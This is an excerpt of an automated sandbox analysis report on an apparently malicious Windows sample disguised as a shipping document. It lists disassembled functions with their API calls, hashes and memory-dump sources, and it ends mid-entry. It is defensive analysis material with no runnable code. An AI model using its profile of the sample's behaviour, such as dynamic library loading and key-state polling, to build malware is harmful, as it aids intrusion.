                                                • Instruction ID: cb7f373ced20bbcdc92d61ca0b3b4ead390dabb951873cea372e94ed19bccf98
                                                • Opcode Fuzzy Hash: e2a72faecb6ee24c76f3ee0855ce2cdbb26f272fd01030a56aa94e1319736318
                                                • Instruction Fuzzy Hash: 0D217FB1500208BFEB119F649D85EFF76FDEB48744F10813AF50596140DA209D4697A1
                                                Function 00A263E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 009A1D73
                                                  • Part of subcall function 009A1D35: GetStockObject.GDI32(00000011), ref: 009A1D87
                                                  • Part of subcall function 009A1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 009A1D91
                                                • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00A26461
                                                • LoadLibraryW.KERNEL32(?), ref: 00A26468
                                                • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00A2647D
                                                • DestroyWindow.USER32(?), ref: 00A26485
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                • String ID: SysAnimate32
                                                • API String ID: 4146253029-1011021900
                                                • Opcode ID: 3f147e16edfe726b48c4315cfce47a2075a60dd603707025554cdb9ec880639a
                                                • Instruction ID: c6a00b792ad559ead6ae3be9edf9e72681281d70ef8e73d9fc3fa58f8f0c4a69
                                                • Opcode Fuzzy Hash: 3f147e16edfe726b48c4315cfce47a2075a60dd603707025554cdb9ec880639a
                                                • Instruction Fuzzy Hash: 24219F71101225BFEF109FA8ED40EBB37ADEF59324F108639F9A096090D771DC429760
                                                Function 00A06D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetStdHandle.KERNEL32(0000000C), ref: 00A06DBC
                                                • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00A06DEF
                                                • GetStdHandle.KERNEL32(0000000C), ref: 00A06E01
                                                • CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00A06E3B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateHandle$FilePipe
                                                • String ID: nul
                                                • API String ID: 4209266947-2873401336
                                                • Opcode ID: 1eb01cabc1401f24bab128b6ddce455e38d8c0070e2bf4b2c7c91527d25ba5b7
                                                • Instruction ID: caf3894cf3a4316b6184d6847b7285ad90c377bf8b8a87b5c2312303f5533076
                                                • Opcode Fuzzy Hash: 1eb01cabc1401f24bab128b6ddce455e38d8c0070e2bf4b2c7c91527d25ba5b7
                                                • Instruction Fuzzy Hash: 1721817460030EAFDB209F69EC05A9A77B4EF45728F204A29FDA0D72D0D77099618B50
                                                Function 00A06E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetStdHandle.KERNEL32(000000F6), ref: 00A06E89
                                                • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00A06EBB
                                                • GetStdHandle.KERNEL32(000000F6), ref: 00A06ECC
                                                • CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00A06F06
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateHandle$FilePipe
                                                • String ID: nul
                                                • API String ID: 4209266947-2873401336
                                                • Opcode ID: b911cdc197f185b2df90fed474a6ecd733af90be51c8ff416d79526b8687049e
                                                • Instruction ID: c75d56f4e4bb7d86220ec6a429e5549707f2f5b83cb15ea2875a2c24012aac71
                                                • Opcode Fuzzy Hash: b911cdc197f185b2df90fed474a6ecd733af90be51c8ff416d79526b8687049e
                                                • Instruction Fuzzy Hash: 6E2183795003099FDB209F69EC04AAA77F8EF55738F200A29FDA1D72D0D770A861CB60
                                                Function 00A0AC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 00A0AC54
                                                • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00A0ACA8
                                                • __swprintf.LIBCMT ref: 00A0ACC1
                                                • SetErrorMode.KERNEL32(00000000,00000001,00000000,00A2F910), ref: 00A0ACFF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorMode$InformationVolume__swprintf
                                                • String ID: %lu
                                                • API String ID: 3164766367-685833217
                                                • Opcode ID: daec5e15b9c5d0df279ca4d434a83ef5186785e7112e6442fa65a3e9be0ab724
                                                • Instruction ID: 3a584bc2ee493038dc246a1af7e242ffcff7ed979783173e1101b599782bec77
                                                • Opcode Fuzzy Hash: daec5e15b9c5d0df279ca4d434a83ef5186785e7112e6442fa65a3e9be0ab724
                                                • Instruction Fuzzy Hash: 94217131A00209AFCB10DFA8D945EAE7BB8FF89714B004479F909AB251DB31EA51CB61
                                                Function 00A01AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?), ref: 00A01B19
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharUpper
                                                • String ID: APPEND$EXISTS$KEYS$REMOVE
                                                • API String ID: 3964851224-769500911
                                                • Opcode ID: 2f519cb7ae4fce2c5814eee67938b48a12a5299798394c0b92144b78d925b64c
                                                • Instruction ID: b60cf45d59cafa9a797f440ee727cc0fc78712cafaeeeefef22f12372faaa2b6
                                                • Opcode Fuzzy Hash: 2f519cb7ae4fce2c5814eee67938b48a12a5299798394c0b92144b78d925b64c
                                                • Instruction Fuzzy Hash: EC115E30900208CFCF00EF94E855AFEB7B4FFA6708F504469D82467291EB365D0ACB50
                                                Function 00A1EB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON
                                                Download Yara Rule
                                                APIs
                                                • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00A1EC07
                                                • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00A1EC37
                                                • GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00A1ED6A
                                                • CloseHandle.KERNEL32(?), ref: 00A1EDEB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$CloseCountersHandleInfoMemoryOpen
                                                • String ID:
                                                • API String ID: 2364364464-0
                                                • Opcode ID: 49d673d62d4ec31e0d10d99a055d66b9a0486538342f3dff58890f173ca9150d
                                                • Instruction ID: f55702637aa2cf239a1ad09e098cbddb1ce40fd72ebb179ec82763945ffbad04
                                                • Opcode Fuzzy Hash: 49d673d62d4ec31e0d10d99a055d66b9a0486538342f3dff58890f173ca9150d
                                                • Instruction Fuzzy Hash: D78171716043109FD720EF28D886F6AB7E5AF89710F04892DF999DB2D2DB74AC41CB91
                                                Function 009C541D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
                                                • String ID:
                                                • API String ID: 1559183368-0
                                                • Opcode ID: 1d92f2bce51b0a0de234b56dfad0c5d103c922ba67c2ed527f53aae8e5802bd0
                                                • Instruction ID: eada4b1a50b041ce4f393c95d172d92b54ebd1190b502558ce62d9e61a9e650b
                                                • Opcode Fuzzy Hash: 1d92f2bce51b0a0de234b56dfad0c5d103c922ba67c2ed527f53aae8e5802bd0
                                                • Instruction Fuzzy Hash: 3E51B770E00B459BDB289F69D840F6E77AAEF40321F25872DF825962D1D774BDD08B42
                                                Function 00A20037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                  • Part of subcall function 00A20E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A1FDAD,?,?), ref: 00A20E31
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A200FD
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00A2013C
                                                • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00A20183
                                                • RegCloseKey.ADVAPI32(?,?), ref: 00A201AF
                                                • RegCloseKey.ADVAPI32(00000000), ref: 00A201BC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
                                                • String ID:
                                                • API String ID: 3440857362-0
                                                • Opcode ID: f318c955418bf8701ba742c7aac8e64cbb890b9f44748444121a120746366310
                                                • Instruction ID: ca18ce5c3e50984717268f674acd95895521ac131bcac125ce615f2cf9032ef3
                                                • Opcode Fuzzy Hash: f318c955418bf8701ba742c7aac8e64cbb890b9f44748444121a120746366310
                                                • Instruction Fuzzy Hash: 69514631208204AFDB14EF68D881F6AB7F9FF84314F40492DF5959B2A2DB31E915CB92
                                                Function 00A1D8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A9837: __itow.LIBCMT ref: 009A9862
                                                  • Part of subcall function 009A9837: __swprintf.LIBCMT ref: 009A98AC
                                                • LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00A1D927
                                                • GetProcAddress.KERNEL32(00000000,?), ref: 00A1D9AA
                                                • GetProcAddress.KERNEL32(00000000,00000000), ref: 00A1D9C6
                                                • GetProcAddress.KERNEL32(00000000,?), ref: 00A1DA07
                                                • FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00A1DA21
                                                  • Part of subcall function 009A5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00A07896,?,?,00000000), ref: 009A5A2C
                                                  • Part of subcall function 009A5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00A07896,?,?,00000000,?,?), ref: 009A5A50
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
                                                • String ID:
                                                • API String ID: 327935632-0
                                                • Opcode ID: f723e3b0ab23ed0dba1491b1f5ae9e3e95e31ee75b4f6d3188f530d058bfbe23
                                                • Instruction ID: acda6a088144b2dead948f122dc10dbd42889ef94cd01a22d507140fc82e5462
                                                • Opcode Fuzzy Hash: f723e3b0ab23ed0dba1491b1f5ae9e3e95e31ee75b4f6d3188f530d058bfbe23
                                                • Instruction Fuzzy Hash: FC511835A00609DFCB00EFA8C484AAEB7F5FF49310B558165E955AB312D731ED86CF91
                                                Function 00A0E571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00A0E61F
                                                • GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00A0E648
                                                • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00A0E687
                                                  • Part of subcall function 009A9837: __itow.LIBCMT ref: 009A9862
                                                  • Part of subcall function 009A9837: __swprintf.LIBCMT ref: 009A98AC
                                                • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00A0E6AC
                                                • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00A0E6B4
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
                                                • String ID:
                                                • API String ID: 1389676194-0
                                                • Opcode ID: 6193c36ab2daf0476ab7e0277585e98312541d70b139d5facbcb0a8d5658b1b5
                                                • Instruction ID: 8b620dac20a01d1d25431593e18c544301d487212463d461bd7e7a85f8e4b2cc
                                                • Opcode Fuzzy Hash: 6193c36ab2daf0476ab7e0277585e98312541d70b139d5facbcb0a8d5658b1b5
                                                • Instruction Fuzzy Hash: 4B510E35A00105DFCB01EF64D981AAEBBF5FF49314F1484A9E809AB361CB35ED11DB51
                                                Function 009A2344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCursorPos.USER32(?), ref: 009A2357
                                                • ScreenToClient.USER32(00A657B0,?), ref: 009A2374
                                                • GetAsyncKeyState.USER32(00000001), ref: 009A2399
                                                • GetAsyncKeyState.USER32(00000002), ref: 009A23A7
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AsyncState$ClientCursorScreen
                                                • String ID:
                                                • API String ID: 4210589936-0
                                                • Opcode ID: 5aee60ebb768381fd95fba879f53b2fc2e0a034b27250e9b8857a4c4fdc388d2
                                                • Instruction ID: 98c10b5ba64780a75556243cb3f0091e066e81e89e3cafbc14bc0a91eb42fe44
                                                • Opcode Fuzzy Hash: 5aee60ebb768381fd95fba879f53b2fc2e0a034b27250e9b8857a4c4fdc388d2
                                                • Instruction Fuzzy Hash: 72417375504115FFCF259F6CC844AE9BB75FB06764F208326F82996290CB34A950DF91
                                                Function 009F63AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009F63E7
                                                • TranslateAcceleratorW.USER32(?,?,?), ref: 009F6433
                                                • TranslateMessage.USER32(?), ref: 009F645C
                                                • DispatchMessageW.USER32(?), ref: 009F6466
                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009F6475
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Message$PeekTranslate$AcceleratorDispatch
                                                • String ID:
                                                • API String ID: 2108273632-0
                                                • Opcode ID: c244825bb6c38c823a3226eb4396848f29d7c7f9e5f8e974efcd35eaaa3382dd
                                                • Instruction ID: 9f00b153b4e52dc2f1584627e3afdd2f71fe81828f085d3158b448ec800da97c
                                                • Opcode Fuzzy Hash: c244825bb6c38c823a3226eb4396848f29d7c7f9e5f8e974efcd35eaaa3382dd
                                                • Instruction Fuzzy Hash: 9831A57190074AAFDB24DFB4DC44FB67BBCAB01304F140579E621C31B1E7A5948ADB60
                                                Function 009F8A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowRect.USER32(?,?), ref: 009F8A30
                                                • PostMessageW.USER32(?,00000201,00000001), ref: 009F8ADA
                                                • Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 009F8AE2
                                                • PostMessageW.USER32(?,00000202,00000000), ref: 009F8AF0
                                                • Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 009F8AF8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessagePostSleep$RectWindow
                                                • String ID:
                                                • API String ID: 3382505437-0
                                                • Opcode ID: 53458c9c715a04ee754d887dee35976052d5b97e0bfe84aead70b93327d955c6
                                                • Instruction ID: 6929e1ca9c92831a9757b8b87f90a43b723fba96e5b7ba348861646212ae481c
                                                • Opcode Fuzzy Hash: 53458c9c715a04ee754d887dee35976052d5b97e0bfe84aead70b93327d955c6
                                                • Instruction Fuzzy Hash: 5231BF7150021DEFDF14CFA8D94DAAE3BB9EB04315F10862AFA25EA2D0C7B4D915DB90
                                                Function 00A2B14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A2612: GetWindowLongW.USER32(?,000000EB), ref: 009A2623
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A2B192
                                                • SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00A2B1B7
                                                • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00A2B1CF
                                                • GetSystemMetrics.USER32(00000004), ref: 00A2B1F8
                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00A10E90,00000000), ref: 00A2B216
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Long$MetricsSystem
                                                • String ID:
                                                • API String ID: 2294984445-0
                                                • Opcode ID: e41799ff1c0534d333bf5d51b4ac7b42e76e00375111f28dc344a3a784e8b972
                                                • Instruction ID: 34d63445fa50d40f1989091f8eeaf889769564d7c95f1428488e1d8f15441b43
                                                • Opcode Fuzzy Hash: e41799ff1c0534d333bf5d51b4ac7b42e76e00375111f28dc344a3a784e8b972
                                                • Instruction Fuzzy Hash: FB219471920262EFCB209F7CAC04A6A37B4FB05721F104734F932D75E0E73098619BA0
                                                Function 00A15A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON
                                                Download Yara Rule
                                                APIs
                                                • IsWindow.USER32(00000000), ref: 00A15A6E
                                                • GetForegroundWindow.USER32 ref: 00A15A85
                                                • GetDC.USER32(00000000), ref: 00A15AC1
                                                • GetPixel.GDI32(00000000,?,00000003), ref: 00A15ACD
                                                • ReleaseDC.USER32(00000000,00000003), ref: 00A15B08
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$ForegroundPixelRelease
                                                • String ID:
                                                • API String ID: 4156661090-0
                                                • Opcode ID: ba78075e6d80ee51623a076d2396bbc916ebb7f874c74d06f7b2506a898b4ea6
